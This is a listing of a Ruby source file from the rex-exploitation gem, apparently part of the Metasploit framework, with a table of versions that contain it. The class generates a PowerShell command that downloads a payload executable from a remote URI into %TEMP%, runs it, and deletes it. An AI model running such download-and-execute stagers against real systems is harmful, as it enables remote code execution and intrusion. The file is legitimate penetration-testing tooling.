Contents

# -*- coding: binary -*-

class Rex::Exploitation::CmdStagerPSHInvokeWebRequest < Rex::Exploitation::CmdStagerBase

  def http?
    true
  end

  def user_agent
    /WindowsPowerShell/
  end

  def generate(opts = {})
    if opts[:payload_uri].nil?
      raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
    end

    opts[:temp] ||= '%TEMP%'
    opts[:file] ||= "#{Rex::Text.rand_text_alpha(8)}.exe"
    @payload_path = "#{opts[:temp]}\\#{opts[:file]}"

    super
  end

  def generate_cmds_payload(opts)
    # NOTE: This requires PowerShell >= 3.0
    cmd = "Invoke-WebRequest -OutFile #{@payload_path} #{opts[:payload_uri]}"

    # TODO: Craft a better command line, probably with encoding
    ["powershell.exe -c #{cmd}"]
  end

  def generate_cmds_decoder(opts)
    cmds = []

    cmds << @payload_path
    cmds << "del #{@payload_path}" unless opts[:nodelete]

    cmds
  end

  def cmd_concat_operator
    ' & '
  end

end

Version data entries

18 entries across 18 versions & 1 rubygems

Version	Path
rex-exploitation-0.1.41	lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb
rex-exploitation-0.1.40	lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb
rex-exploitation-0.1.39	lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb
rex-exploitation-0.1.38	lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb
rex-exploitation-0.1.37	lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb
rex-exploitation-0.1.36	lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb
rex-exploitation-0.1.35	lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb
rex-exploitation-0.1.34	lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb
rex-exploitation-0.1.33	lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb
rex-exploitation-0.1.32	lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb
rex-exploitation-0.1.31	lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb
rex-exploitation-0.1.30	lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb
rex-exploitation-0.1.29	lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb
rex-exploitation-0.1.28	lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb
rex-exploitation-0.1.27	lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb
rex-exploitation-0.1.26	lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb
rex-exploitation-0.1.25	lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb
rex-exploitation-0.1.24	lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb